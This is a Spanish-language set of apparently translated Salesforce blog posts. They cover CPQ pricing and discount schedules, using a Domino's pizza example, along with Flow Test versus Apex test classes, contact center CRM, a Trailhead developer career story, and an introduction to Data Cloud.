6. Precio al cliente:
Es el precio final que paga un consumidor directo después de considerar todos los descuentos aplicables y precios especiales. Para los miembros del “Pizza Club” que cenen un “Cheesy Thursday”, el precio al cliente por un “ExtravaganZZa” sería la tarifa especial de $17,10.
7. Precio del socio:
El Precio de Socio es una tarifa especial que se ofrece a los socios comerciales, generalmente más baja que la tarifa estándar, para adaptarse a los márgenes de beneficio de los socios. Por ejemplo, una aplicación de entrega de alimentos 'Uber' podría recibir el "ExtravaganZZa" a un precio de socio de $16, lo que les permitirá aumentarlo para sus clientes.
8. Precio Neto:
Son los ingresos que el vendedor se queda con la venta después de deducir todos los descuentos, bonificaciones o rebajas. El precio neto refleja los ingresos reales que obtiene el vendedor por el producto antes de restar sus costos internos.
En el caso de Domino's, el precio neto es la cantidad que Domino's registra como ingreso por la pizza "ExtravaganZZa" vendida al miembro del club el "Cheesy Thursday".
¿Cómo puede Salesforce CPQ ayudar a una empresa a gestionar la complejidad de los precios de manera más eficiente?
Con Salesforce CPQ, en lugar de crear múltiples libros de precios, la empresa puede tener un libro de precios estándar y aplicar excepciones y ajustes de precios según sea necesario. Por ejemplo, si hay un descuento del 20 % a nivel nacional en la pizza "Veg Extravaganza", esto se puede aplicar además del libro de precios estándar sin crear uno nuevo.
¿Pueden los representantes de ventas ofrecer productos como parte de un paquete a un precio diferente con Salesforce CPQ, aunque sea el mismo producto que figura en el libro de precios?
¡Sí! Salesforce CPQ permite configuraciones de precios avanzadas. Por ejemplo, una botella de “Coca-Cola” podría tener un precio de 2 dólares si se vende individualmente. Aún así, cuando forma parte del paquete “Family Feast” (que incluye pizzas, guarniciones y una bebida), el precio efectivo de la “Coca-Cola” dentro del paquete podría ser de solo $1,50. Este precio diferencial es posible dentro del mismo libro de precios debido a la flexibilidad de Salesforce CPQ.
¿Los representantes de ventas todavía necesitan libros de precios si utilizan Salesforce CPQ?
Sí, los libros de precios siguen siendo un elemento fundamental en Salesforce CPQ. Proporcionan los precios de referencia a partir de los cuales se derivan todos los ajustes, descuentos o precios especiales. Si un producto no tiene una entrada en el libro de precios, no aparecerá en la página de selección de productos y no se podrá agregar a una cotización. Incluso una entrada de $0 puede ser significativa, ya que puede indicar un artículo complementario o un producto cuyo precio final se determinará mediante los métodos de fijación de precios de Salesforce CPQ.
¿Qué deben recordar los representantes de ventas al crear nuevos productos en su sistema?
Domino's siempre debe asegurarse de que cualquier producto que introduzca tenga una entrada en el libro de precios asociada. Esta inclusión es crucial porque, sin ella, el producto no estará disponible para su selección al crear cotizaciones, incluso si está destinado a ser un artículo promocional con un valor de cero dólares.
Analicemos cómo funcionan los métodos de fijación de precios de Salesforce CPQ, centrándonos particularmente en la fijación de precios de opciones y su interacción con otros métodos, utilizando Domino's como nuestro escenario de ejemplo.
¿Para qué sirve la casilla de verificación incluida?
Si Domino's decide que el "Combo de fiesta" es una promoción especial y los artículos individuales que contiene (las opciones) no deben tener el precio habitual cuando se venden por separado, marcarán la casilla "Combinado" en Salesforce CPQ para este combo.
Esto significa que aunque una “Pizza Vegetariana” por sí sola suele costar $18, dentro del “Combo de Fiesta” tiene un precio de $0.00, al igual que los demás artículos del combo.
Descuentos en Salesforce CPQ
¿Qué es el descuento opcional en CPQ?
Domino's ofrece un paquete de productos, similar a una oferta combinada, llamado "Pizza Fiesta". Este paquete incluye una pizza grande “Veggie Extravaganza”, “Cheesy Bread” y un refresco.
¿Cómo configurar el descuento opcional en CPQ?
- Creación de paquetes de productos: Domino's establece por primera vez un paquete de productos llamado “Pizza Fiesta” que incluye tres artículos:
- Pizza “Extravagancia Vegetal”
- “Pan con queso”
- soda
2. Identificación del artículo con descuento: Domino's decide que el “Cheesy Bread” será un 10% más barato si se pide como parte del paquete “Pizza Fiesta”, en comparación con su precio regular a la carta.
3. Configuración del descuento en Salesforce CPQ: el administrador de Domino's ingresa a Salesforce CPQ y navega hasta el producto del paquete principal "Pizza Fiesta" en el sistema. En la pestaña Relacionados, encontrarán todos los productos que forman parte de este paquete enumerados como Opciones de producto.
4. Aplicación del descuento opcional: el administrador ubica el “Pan con queso” dentro de la lista de Opciones de producto para el paquete “Pizza Fiesta”. Luego establecieron un precio específico que indica que cuando el “Cheesy Bread” es parte del paquete “Pizza Fiesta”, genera un descuento del 10% en este artículo en particular.
¿Explicar la función de descuento manual en Salesforce CPQ?
Imagine que un cliente habitual realiza un pedido al por mayor para una próxima fiesta. Pidieron 20 pizzas “vegetarianas”, cada una con un precio original de $10. Para premiar esta compra al por mayor, el responsable comercial ha decidido ofrecer un descuento especial. En lugar del precio normal, quieren que el costo total de las 20 pizzas sea de $150, en lugar de $200.
¿Qué es un campo no descontable en Salesforce CPQ?
Domino's está realizando una promoción especial en pizzas "Veggie Delight", y estas no son elegibles para más descuentos. El campo "No descontable" se marcaría para este producto en Salesforce CPQ, evitando cualquier descuento manual adicional en este artículo, independientemente del tamaño del pedido.
¿Cómo agregar valores de Unidad y Total a la lista de selección?
Nos dirigimos al objeto Línea de Cotización y creamos un nuevo campo de tipo lista de selección con el nombre AdditionalDiscountUnit y los valores que se muestran a continuación.
Ahora podemos elegir valores adicionales.
¿Explicar el descuento para socios y distribuidores en Salesforce CPQ?
Este método se utiliza cuando queremos darle un descuento de socio adicional al cliente. Los valores de estos descuentos se muestran en los campos Descuento de distribuidor y Precio unitario neto en el objeto Línea de cotización. Se calculan mediante las siguientes fórmulas:
Precio para socios = Precio para clientes – Descuento para socios
Precio neto = Precio de socio – Descuento de distribuidor
¿Explicar el descuento basado en el volumen?
Domino's quiere dar un incentivo a los clientes para que pidan más pizzas durante una copa mundial de cricket ofreciendo descuentos basados en el volumen.
1. Configuración del programa de descuentos:
El administrador de Domino's navega a la pestaña "Programaciones de descuentos" dentro de Salesforce CPQ y crea una nueva programación denominada "Especial del día del juego".
– Luego hacen clic en “Editar niveles” y configuran los niveles de volumen de la siguiente manera:
– 1-10 pizzas: 0% de descuento
– 11-20 pizzas: 10% de descuento
– 21-30 pizzas: 15% de descuento
– 31+ pizzas: 20% de descuento
– Guardan esta estructura de niveles, que dictará el descuento aplicado en función de la cantidad de pizzas solicitadas.
2. Aplicación del Programa de Descuentos a los Productos:
Luego, el administrador va a la pestaña "Productos" y selecciona las pizzas elegibles para esta promoción, como "Cheesy Extravaganza" y "Veggie Feast".
– En el campo “Programa de descuentos” de cada producto, seleccionan el programa “Especial del día del juego” que crearon previamente.
3. Realización de pedidos y cálculo de descuentos:
– Un cliente hace un pedido de 25 pizzas “Cheesy Extravaganza” durante el fin de semana del evento de cricket.
– Cuando el pedido ingresa al sistema, el comercial crea una nueva cotización y le agrega las 25 pizzas.
– Al hacer clic en “Calcular” en Salesforce CPQ, el sistema reconoce automáticamente que la cantidad cae en el nivel 21-30, aplicando así un descuento del 15% al pedido.
– El representante de ventas ve el precio regular y el precio con descuento uno al lado del otro, confirmando que el descuento por volumen se aplicó correctamente.
4. Verificación de los detalles del descuento:
Junto a la pizza "Cheesy Extravaganza" en la cotización, aparece un signo "$" para indicar que se aplica un programa de descuentos.
Al hacer clic en él, el representante de ventas (y cualquier otro usuario con los permisos necesarios) puede ver los niveles de descuento, lo que brinda transparencia sobre cómo se calculó el precio final.
¿Cuál es la estructura del programa de descuentos?
La estructura típica de un programa de descuentos implica la definición de niveles específicos. Cada nivel incluye el nombre del nivel, el límite inferior, el límite superior y el descuento (porcentaje/monto) aplicable en ese nivel.
Hay dos formas en que funciona el programa de descuentos: –
- Losa
- Rango
1. Programa de descuentos de losa:
Domino's quiere ofrecer un descuento de Slab durante un festival local. Establecieron los siguientes niveles:
– 1-5 pizzas: 0% de descuento
– 6-10 pizzas: 5% de descuento
– 11+ pizzas: 10% de descuento
Utilizando el método Slab, Salesforce CPQ calcula el descuento de la siguiente manera:
Las primeras 5 pizzas obtienen un 0% de descuento.
Las siguientes 5 pizzas (pizzas 6 a 10) reciben un 5% de descuento.
Las 2 pizzas finales (pizzas 11 y 12) reciben un 10% de descuento.
Cada “losa” o nivel de pizzas se descuenta según su respectivo tramo, no según la cantidad total del pedido.
2. Programa de descuentos por rango:
Domino's decide ofrecer un descuento de gama durante un evento deportivo importante. Establecieron los siguientes niveles:
– 1-7 pizzas: 0% de descuento
– 8-14 pizzas: 7% de descuento
– 15+ pizzas: 15% de descuento
Utilizando el método Rango, Salesforce CPQ calcula el descuento de la siguiente manera:
– El total de 10 pizzas se encuentran dentro del rango de 8 a 14.
– Por tanto, las 10 pizzas reciben un 7% de descuento.
El descuento se aplica al pedido total según el rango en el que se encuentra la cantidad total.
¿Cuáles son los pasos para configurar un programa de descuentos?
- Abra la aplicación Salesforce CPQ desde el iniciador de aplicaciones.
- Escriba "Programación de descuentos" en el cuadro de búsqueda del iniciador de aplicaciones.
- Abra la pestaña Programación de descuentos y haga clic en "nuevo".
- Establecer el nombre del horario,
- Establezca el tipo como Rango o Losa según el requisito.
- Seleccione la unidad de descuento entre las opciones de Porcentaje, Monto y precio según el requisito.
- Para el alcance de agregación, seleccione Cotización o Grupo según el requisito.
- Haga clic en 'Guardar'.
¿Cuáles son los pasos para crear niveles de descuento y asociar el programa de descuentos con el producto?
- Abra el Programa de descuentos en el que queremos crear Niveles de descuentos.
- Haga clic en 'Editar nivel'.
- Establezca el nombre del nombre de primer nivel.
- Establezca el límite inferior del primer nivel.
- Establezca el límite superior del primer nivel.
- Establezca el descuento (porcentaje/importe).
- Haga clic en el botón + para agregar un nuevo nivel y repita los pasos del 3 al 6.
- Repita el paso 7 según el requisito de los niveles necesarios.
9. Haga clic en Guardar.
10. Abra la pestaña Producto desde la barra de navegación y seleccione el producto al que queremos asociar el Programa de Descuentos.
11. Haga clic en el botón 'Editar'.
12. En el campo Programación de descuentos, ingrese el nombre del programa de descuentos creado.
13. Haga clic en el botón 'Guardar'
Seguir leyendoAprendizajes de Trailhead: puntos para recordar de CPQ Trail 'Simplificar las renovaciones de suscripciones de seguridad para el hogar'
Inicio del sendero 'Simplifique las renovaciones de las suscripciones de seguridad para el hogar'
-Campo de conversión de activos con el valor de lista de selección 'Uno por unidad': significa que una línea de cotización con una cantidad de 5 obtiene 5 registros de activos separados.
-Campo de conversión de activos con valor de lista de selección 'Ninguno': significa que el Producto faltará en esta lista porque configuramos el producto para que no realice ninguna conversión de activos.
-En Salesforce CPQ, se puede generar un contrato para productos de suscripción seleccionando la casilla "Contratado" en el registro de Oportunidad o en un registro de Pedido.
-Para crear un contrato a partir de una oportunidad, seleccione Contratado en su registro de oportunidad. El contrato hereda sus fechas de inicio y finalización de las fechas de inicio y finalización de su cotización principal.
-Incluso si un pedido no tiene elementos que crearían o afectarían ningún contrato, aún puede utilizar el campo Contratado para indicarle a Salesforce CPQ que genere activos.
-Casilla de verificación Pronóstico de renovación en el contrato: este es el campo clave que le indica a Salesforce CPQ que genere una oportunidad de renovación.
-Verificar el pronóstico de renovación del contrato ayudará a pronosticar los ingresos que se pueden generar en el contrato que se renueva.
-Si actualizamos el contrato existente con un nuevo registro de suscripción para representar el aumento de cantidad. Salesforce CPQ NO crea un nuevo contrato; en cambio, mantiene todas las suscripciones organizadas según el original.
-Marque la casilla de verificación Cotización de renovación en el contrato. -Esto es lo que le indica a CPQ que haga una cotización de renovación junto con la oportunidad de renovación.
-Proceso de Cotización a Caja
Liderar → Calificar → Crear oportunidad → Generar y presentar cotizaciones
→ Oportunidad cerrada-ganada → Crear una orden → Iniciar procesamiento de orden
Uso de prueba de flujo versus clase de prueba para flujo en Salesforce
Introducción de la prueba de flujo
Anteriormente, si queríamos probar el flujo, necesitábamos escribir una clase de prueba de Apex para el flujo. Con la versión Summer '22, Salesforce introdujo un marco de prueba para flujos activados por registros para automatizar las pruebas de flujos. Ahora podemos dejar que Salesforce pruebe el flujo, asegurarnos de que los resultados cumplan con las expectativas y resaltar cuando no lo sean. Ahora podemos crear y ejecutar pruebas dentro del propio generador de flujo, de forma declarativa sin escribir ningún código.
Cómo funciona
Establecer detalles de prueba, desencadenante y ruta
Proporciona una etiqueta de prueba de flujo y una descripción de la prueba. Establezca el activador de prueba en Creado/actualizado según el escenario. La ruta de la prueba está configurada para Ejecutar inmediatamente.
Establecer registro de activación inicial/actualizado
Usando la función de búsqueda, podemos buscar el registro para usarlo como plantilla inicial. Tras la selección del registro, los campos se completan a partir del registro seleccionado. La prueba hereda los valores de campo del registro seleccionado. Sin embargo, podemos modificar los valores de estos campos antes de finalizar la prueba. La prueba no está vinculada a este registro pero contiene y utiliza sus valores de campo.
Establecer afirmaciones
La aserción es una forma de comparar el resultado real con el resultado previsto. Si coinciden, entonces la afirmación se evalúa como verdadera. De lo contrario, la afirmación falla. Escriba las siguientes afirmaciones para garantizar que se cumplan los criterios de entrada de registros para el flujo y se logre el resultado esperado.
Ejecutar prueba y ver detalles
Haga clic en el botón "Ver pruebas", seleccione el menú desplegable de la prueba de flujo que queremos ejecutar y seleccione Ejecutar prueba y ver detalles.
La prueba de flujo se ejecuta y resalta el camino que tomó la prueba. Si necesitamos probar el flujo, simplemente podemos ejecutar la prueba. Ya no es necesario configurar los datos de prueba mediante programación. ¡Esto aumenta la eficiencia de las pruebas! Si necesitamos realizar una mejora en este flujo en el futuro, necesitaremos actualizar el registro de prueba asociado en consecuencia.
Beneficios
- Fácil y cómodo de usar: podemos crear registros de prueba a través de la interfaz de usuario y ponerlos a prueba.
- Tiempo y esfuerzo: reduce el tiempo y el esfuerzo necesarios, ya que no necesitamos escribir código, solo crear registros desde la interfaz de usuario y realizar afirmaciones.
- No afectará la cobertura del código existente a nivel de clase: si migramos cualquier funcionalidad del activador al flujo, la lógica subyacente del activador/clase también se limpia manualmente como parte de este ejercicio. Esto no reducirá la cobertura del código de la clase ya que la lógica se elimina por completo.
- Cobertura de la prueba de flujo: el porcentaje de cobertura no se captura en la prueba de flujo como podemos hacerlo a través de la clase Apex. Más bien es capaz de cubrir nodos. Una vez seleccionamos “Ejecutar prueba y ver detalles”. La ruta resaltada en amarillo representará la cobertura real del flujo desde el principio hasta el final del nodo.
Desventaja
- Solo puede crear pruebas de flujo para crear, actualizar o crear/actualizar flujos activados por registros. Aún no se admite la eliminación de flujos activados por registros. – Solo para el escenario de eliminación de registros podemos escribir una clase de prueba
- Puede afectar la cobertura general: dado que la cobertura de prueba general se calcula en función de la cobertura de prueba de todas las clases combinadas (promedio), si migramos cualquier característica que tenga una cobertura de prueba más alta en la clase ápice relevante, podría reducir el porcentaje de cobertura general del código. (Como actualmente solo nos estamos enfocando en migrar el activador relacionado con la cuenta para fluir, solo se ve afectada 1 clase de prueba, por lo que no hay cambios significativos en la cobertura del código Apex).
- Las pruebas de flujo no admiten rutas de flujo que se ejecuten de forma asincrónica. Sin embargo, no tenemos flujo asíncrono en nuestra organización. Estamos creando flujos para cubrir escenarios que se ejecutan sincrónicamente.
Recomendación
- Podemos comenzar a dar pasos para pasar a la prueba de flujo a medida que Salesforce realiza mejoras continuas en el flujo, por lo que en versiones futuras, podemos esperar que la prueba de flujo incluya más mejoras y reduzca las limitaciones.
- Podemos comenzar escribiendo una prueba de flujo para las actualizaciones rápidas de campos (antes) de los flujos de activación de registros.
- Mejorar la cobertura de prueba de las clases que tienen menos cobertura para que podamos usar la prueba de flujo.
Preguntas más frecuentes
¿Cuál es el porcentaje de cobertura para implementar Flow?
En relación con las pruebas de Apex, las pruebas de flujo no se consideran parte de la cobertura de pruebas como en el 75%+ para el despliegue de productos.
¿Brindan cobertura de código como lo hace la clase de prueba? Si no, ¿debemos pensar en eliminar el flujo de la cobertura de prueba?
Sí, cubren resaltando nodo por nodo.
¿Puede confirmar si la prueba de flujo permite ejecutar pruebas masivas?
No, no admite pruebas de registros masivos. En la mayoría de los escenarios relacionados con desencadenantes, hemos creado un registro individual en la clase de prueba y verificamos los escenarios de prueba. Si reemplazamos esos desencadenantes con flujos, no habrá una gran diferencia en los casos de prueba.
¿La prueba de flujo admite la asincronía?
Las pruebas de flujo no admiten rutas de flujo que se ejecuten de forma asincrónica. Sin embargo, no tenemos flujo asíncrono en nuestra organización. Estamos creando flujos para cubrir escenarios que se ejecutan sincrónicamente.
¿Cuál es el rendimiento de las pruebas de flujo en comparación con las clases de prueba?
No veo ninguna documentación oficial, pero creo que la prueba de flujo será más rápida en comparación con la clase de prueba porque cuando ejecutamos una prueba creará una instancia de la clase y llamará a métodos individuales. Podemos ejecutar casos de prueba individuales utilizando una prueba de flujo, pero no es posible ejecutar un solo método individual desde la clase de prueba, lo que lleva mucho tiempo.
Referencia
Consideraciones para probar el flujo
Seguir leyendoReseñas de 5 estrellas o quejas de los clientes: por qué es importante el CRM de su centro de contacto
Piense en su última experiencia frustrante de servicio al cliente. Lo más probable es que implicara hablar con agentes, intentar resolver el problema de muchas maneras (agotadoramente) y repetir la situación una y otra vez. ¿No existe una manera más fácil de resolver los problemas de los clientes, sin una revisión exhaustiva en las redes sociales? Sí, y el software CRM del centro de contacto puede hacerlo realidad.
El software CRM para centros de contacto, también conocido como software de gestión de relaciones con los clientes, es una herramienta utilizada por los centros de contacto para mejorar las experiencias de los clientes. El software almacena información sobre los clientes, rastrea las interacciones con los clientes y simplifica los canales de comunicación y servicio al cliente , todo en un solo lugar. En resumen, ayuda a las empresas a resolver problemas más rápidamente.
Dado que el mal servicio es la razón número uno por la que los consumidores dejan de comprarle a una empresa, brindar un buen servicio al cliente nunca ha sido más importante. Pero, ¿es el software CRM para centros de contacto la mejor opción para su negocio? Abordemos las preguntas más comunes para ayudarle a decidir.
Modernice su centro de contacto
La combinación adecuada de canales y herramientas de atención al cliente puede ayudarle a ser más eficiente y mejorar la satisfacción del cliente. Nuestra guía revela cómo las organizaciones de servicios de alto rendimiento lo hacen posible.
¿Cuáles son los beneficios del software CRM para los centros de contacto?
Invertir en software CRM para centros de contacto puede ayudarle de varias maneras clave, que incluyen:
- Una experiencia de cliente perfecta: el software CRM del centro de contacto permite a los agentes de servicio al cliente manejar las preguntas y problemas de los clientes en todos los canales. Ya sea que sus clientes llamen, envíen correos electrónicos o publiquen en las redes sociales (o una combinación de los tres), su empresa puede brindarles la experiencia consistente que sus clientes esperan.
- Mejor colaboración : con funciones como gestión de casos y herramientas colaborativas de servicio al cliente, los agentes pueden compartir información, hacer preguntas y derivar casos fácilmente a expertos en la materia. Esto conduce a una resolución de problemas más rápida y precisa.
- Más opciones de autoservicio : el software CRM para centros de contacto ayuda a las organizaciones a crear una experiencia de autoservicio en línea, lo que significa que los clientes pueden encontrar soluciones y obtener actualizaciones sobre sus casos sin la necesidad de comunicarse con el servicio de atención al cliente. Esto no sólo mejora la satisfacción del cliente, sino que también reduce los costos de servicio y los tiempos de respuesta.
¿Cómo funciona el software CRM para los centros de llamadas frente a los centros de contacto?
Aunque algunas personas utilizan los términos call center y contact center indistintamente, existen diferencias importantes. Es importante comprender cómo se puede utilizar el software CRM para cada uno.
Los centros de llamadas se centran en resolver los problemas de los clientes únicamente por teléfono, por lo que requieren menos recursos que los centros de contacto. Esto significa que los centros de llamadas pueden ser más rentables y al mismo tiempo brindar un excelente servicio al cliente (especialmente si sus clientes prefieren usar el teléfono). La desventaja: debido a que se centran únicamente en las llamadas, están limitados en otras opciones de servicio. Aun así, los equipos que utilizan el modelo de centro de llamadas aún pueden integrar soluciones CRM para servicios como asistencia de agentes de guardia , capacitación para equipos de servicio y transcripción de llamadas en tiempo real.
Por el contrario, un contact center gestiona mucho más que llamadas. En un centro de contacto, los agentes utilizan correos electrónicos, chat en vivo, pantalla compartida, redes sociales, mensajes de texto, videoconferencias y más. Las empresas suelen utilizar este enfoque para comunicarse con más clientes a través de más canales en menos tiempo.
La tecnología adecuada lo hace posible. Por ejemplo, el software CRM del centro de contacto incluye automatización del flujo de trabajo y herramientas de inteligencia artificial como chatbots , formas comunes de brindar un servicio al cliente proactivo a través de múltiples canales. Además, los análisis basados en inteligencia artificial de CRM pueden ayudarlo a comprender las necesidades y el comportamiento de los clientes, mientras que el software de reconocimiento de voz puede identificar rápidamente a los clientes según sus patrones de habla. Y la IA predictiva también se puede utilizar para ayudar a los agentes a responder consultas comunes de forma más rápida y precisa.
Obtenga artículos de servicio seleccionados solo para usted, en su bandeja de entrada
¿Cómo se elige el mejor CRM para contact center?
Seleccionar el mejor software CRM de centro de contacto para su empresa es una decisión importante y requiere una consideración cuidadosa. Al decidir entre soluciones, piense en:
- Escalabilidad: a medida que su negocio crece, no querrá tener que capacitar a los agentes en otra solución cada pocos años. Asegúrese de que cualquier CRM de centro de contacto pueda adaptarse a la evolución del tamaño de su empresa, su base de clientes y sus canales de servicio.
- Integración: cuando los sistemas están aislados, es más difícil para los agentes resolver problemas complejos de los clientes que pueden involucrar múltiples interacciones y productos. En su lugar, asegúrese de que cualquier CRM de centro de contacto pueda conectar los datos de los clientes entre departamentos, sistemas y perfiles, para que pueda personalizar la experiencia de sus clientes y resolver problemas más rápido.
- Facilidad de uso: los agentes ya desempeñan un papel desafiante, sin necesidad de presentarles software complicado. ¿Pueden implementar fácilmente un CRM de centro de contacto? ¿Cuáles son los tiempos de entrenamiento y cómo mejora sus interacciones diarias? ¿Pueden utilizar un único panel de vidrio para gestionar todo el trabajo, en lugar de girar entre varios sistemas?
- Análisis e informes: con el aumento de los casos de clientes, el aumento de la rotación y los problemas más complejos de los clientes, las organizaciones de servicio al cliente necesitan datos más que nunca. El CRM de centro de contacto adecuado proporcionará información fundamental sobre la salud de su organización de servicio al cliente. Buenos lugares para comenzar: valores de llamadas, tiempos de espera promedio, satisfacción del cliente y NPS.
También es importante evaluar la reputación de un proveedor de CRM, sus capacidades de automatización e inteligencia artificial, sus opciones de atención al cliente y sus precios para garantizar que se ajuste bien a las necesidades de su centro de contacto.
¿Cómo se obtiene el máximo ROI de un CRM de contact center?
Las herramientas de CRM pueden ayudarle a conectarse con los clientes de forma rápida y sencilla de varias maneras, pero aún quedan algunos pasos por seguir para ver realmente los resultados que desea, más rápido. La forma en que utilice el software depende en última instancia de los problemas de servicio al cliente que intente resolver.
A continuación se muestran algunas formas comunes de hacer que un CRM de centro de contacto funcione para usted:
- Comience con un canal , como mensajería dentro de la aplicación, y luego agregue formas adicionales para que sus clientes se pongan en contacto, como chat, WhatsApp y teléfono.
- Implemente chatbots con tecnología de inteligencia artificial (integrados directamente en la plataforma CRM) para facilitar la automatización del servicio al cliente personalizado en todos los canales.
- Diseñe recorridos de cliente personalizados que faciliten que los clientes obtengan ayuda de servicios automatizados o de un agente humano, garantizando que todos reciban el soporte que necesitan en el canal que prefieran.
- Aumente la productividad con una colaboración y comunicación más eficiente entre equipos y departamentos. Los flujos de trabajo automatizados pueden ayudarle a optimizar las tareas manuales (y repetitivas), como seguimientos o escalaciones.
Comenzando con el software CRM del centro de contacto
Invertir en una nueva tecnología empresarial (incluso una como un software CRM para centros de contacto que pueda tener un impacto inmediato) puede parecer desalentador. Para profundizar aún más, obtenga más información sobre la estrategia del centro de contacto en Trailhead .
Maximice el rendimiento de su centro de contacto
Su centro de contacto debe ser un centro de participación omnicanal moderno que agrade tanto a los agentes como a los clientes. Vea lo que es posible con el software de centro de contacto integrado en su CRM, impulsado por IA y automatización.
Hema Kumar realiza el trabajo de sus sueños como desarrolladora ☁️
Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .
El enlace a la publicación original, lo encontrarás al final de este artículo.
…
Cuando comenzó la pandemia de COVID-19, Hema había estado buscando trabajo como asistente de enseñanza mientras trabajaba a tiempo completo como compradora de viviendas en ASDA. La enviaron a casa durante el encierro y quería dedicar su tiempo a hacer algo productivo. El cuñado de Hema trabajaba en Accenture y le sugirió que explorara Salesforce a través de Trailhead , la puerta de entrada al ecosistema de Salesforce, donde cualquiera puede aprender de forma gratuita las habilidades más demandadas y relevantes de la actualidad, obtener credenciales dignas de un currículum y conectarse a redes globales. oportunidades.
" Debido a la naturaleza interactiva de Trailhead", recuerda Hema, "y al gran apoyo de los grupos Trailblazer, pronto me sentí parte de Salesforce Ohana". Continuó aprendiendo en Trailhead con resultados impresionantes: hasta la fecha, completó 43 senderos, obtuvo 316 insignias y cinco superbadges, y acumuló 196.000 puntos. El arduo trabajo de Hema también le valió cuatro certificaciones de Salesforce , incluidas Administradora y Creadora de aplicaciones , lo que inicialmente la llevó a considerar la carrera profesional de Administradora de Salesforce.
Debido a la naturaleza interactiva de Trailhead y al gran apoyo de los grupos Trailblazer, pronto me sentí parte de Salesforce Ohana.
Luego, Hema encontró un curso para desarrolladores de Salesforce impartido por FDM , un socio de Salesforce Workforce Development, y decidió inscribirse. El extenso curso de 12 semanas le enseñó habilidades de desarrollo esenciales e incluyó práctica práctica, proyectos y una evaluación exhaustiva. Ella lo recuerda como “emocionante, desafiante y muy intenso” y, a través de perseverancia y dedicación, completó con éxito el programa.
Poniendo sus nuevas habilidades a trabajar en su primer trabajo tecnológico
Después de graduarse del curso FDM, Hema tardó aproximadamente un año en conseguir su primer trabajo como desarrolladora. FDM la ayudó a conectarse con empleadores de Salesforce y comenzó a entrevistarse con National Grid ESO para un puesto como desarrolladora junior de Salesforce. Consiguió el trabajo y desde entonces se ha convertido en uno de los miembros clave del equipo de desarrollo de Salesforce de su empresa. “Gracias al equipo de FDM por apoyarme”, dice, “y gracias a National Grid por brindarme esta oportunidad y creer en mí”.
El papel de Hema en National Grid gira en torno al apoyo al desarrollo, la personalización y la configuración como parte de la entrega de DevOps de su equipo. La mayor parte de su trabajo incluye la creación de objetos, campos, reglas de validación, flujos, clases de Apex y desencadenadores. Además, recientemente comenzó a trabajar para mejorar sus Lighting Web Components (LWC). Hema también cree que las buenas habilidades de comunicación son esenciales para una colaboración eficaz en equipo y para mantener a todos actualizados sobre el estado de los proyectos individuales, los riesgos y otras inquietudes.
Consejos para aspirantes a desarrolladores: comience con Salesforce
Para Hema, Salesforce le ha brindado un camino para generar confianza en sus habilidades y hacer realidad su sueño. Ella recomienda la misma experiencia a “cualquiera que sea dedicado, disciplinado, pueda administrar el tiempo con criterio y esté lleno de entusiasmo por aprender”.
Además de la sólida plataforma de aprendizaje Trailhead, Salesforce ofrece oportunidades de tutoría, una comunidad global de desarrolladores Trailblazer de Salesforce y eventos de Salesforce como formas de interactuar con sus pares. Los nuevos desarrolladores pueden beneficiarse de la comunidad al encontrar información útil, solicitar ayuda oportuna u obtener asesoramiento profesional.
Lo que más le gusta a Hema de una carrera profesional dentro del ecosistema de Salesforce es la naturaleza integral del soporte en cada paso del camino. “Es un paquete completo”, afirma, “desde el inicio de mi aprendizaje hasta conseguir mi primer trabajo, no tuve que buscar ayuda o consejo en ningún otro lugar”.
La historia de Hema destaca cómo Salesforce ayuda a personas técnicas y no técnicas a alcanzar sus objetivos. Y añade: "Salesforce tiene una variedad de opciones profesionales de nivel inicial adecuadas para todas las personas, independientemente de sus antecedentes".
Salesforce tiene una variedad de opciones profesionales de nivel inicial adecuadas para todas las personas, independientemente de sus antecedentes.
Para conocer desarrolladores como Hema y ampliar sus habilidades técnicas, únase a la comunidad de desarrolladores de Salesforce y sea parte de la conversación sobre todo lo relacionado con el desarrollo de Salesforce.
Sobre el Autor
Christie Fidura es la directora de participación de desarrolladores globales de Salesforce. En este puesto, busca involucrar y elevar a la comunidad de desarrolladores y trabajar directamente con ellos para comprender sus desafíos, preocupaciones, logros y sus inspiraciones. Puede encontrar a Christie en la comunidad Trailblazer en www.salesforce.com/devcommunity . Christie, community manager certificada y comercializadora galardonada con múltiples premios, cree en el buen código, la comunidad y la igualdad.
Obtenga las últimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a través de Slack o RSS.
Añadir a holgura Suscríbete a RSS
Cómo comenzar con Salesforce Data Cloud: guía 101 y casos de uso
Última actualización el 2 de octubre de 2023 por Rakesh Gupta
Los datos no son sólo un buen extra; es esencial. Especialmente ahora, cuando las empresas operan en gran medida en espacios digitales, la necesidad de un buen uso de los datos es clara. El papel del análisis de datos se ha vuelto crucial para impulsar el éxito de una empresa. Es importante que los líderes de las empresas tengan un plan de datos sólido, uno que permita que sus negocios avancen rápidamente y enfrenten desafíos difíciles.
Los equipos se benefician enormemente de un análisis de datos sólido. Pueden tomar decisiones inteligentes más rápido que antes y también con mayor precisión. Este tipo de uso de datos también ayuda a los equipos a trabajar mejor juntos al eliminar cosas que obstaculizan un buen trabajo en equipo. Los líderes de TI tienen un papel especial aquí. Tienen las habilidades para hacer que los datos sean útiles de nuevas maneras, transformando el trabajo de los equipos y mejorando la experiencia de los clientes.
¿Qué es Salesforce Data Cloud y por qué debería implementarlo?
Salesforce Data Cloud está diseñada para cambiar la forma en que las empresas interactúan con los clientes. Es bueno para recopilar datos de diferentes lugares. Estos datos van a una gran área de almacenamiento llamada lago de datos. Luego utiliza un análisis preciso para explicar lo que significan los datos.
Salesforce Data Cloud ayuda a vincular varias fuentes y nubes más rápidamente en toda la plataforma. Sin embargo, Data Cloud también es un artículo que se puede pedir. Aunque no todos los clientes de Salesforce han comprado Data Cloud, aunque se encuentran en el punto de partida, todavía utilizan Data Cloud hasta cierto nivel. Sin embargo, todo esto se fortalece cuando se utiliza la Nube de Datos como plataforma de personalización y unificación de datos.
¿Por qué necesito implementar una nube de datos ahora?
Imagínese cómo el volumen de datos crece rápidamente cuando piensa en la cantidad de clics que hace cada cliente. Puede realizar un seguimiento de dichos datos de participación a medida que ocurren, por ejemplo, cuando los usuarios abren y hacen clic en correos electrónicos, exploran páginas en sus aplicaciones móviles y miran artículos en su tienda en línea. Es mucho más probable que las personas hagan clic cuando les envías un correo electrónico o una oferta que les resulta útil. Puede capturar la interacción cuando un consumidor hace clic en Data Cloud. Cuando sepa qué les interesa y si es probable que compren algo o no, podrá aprovechar esta información a su favor.
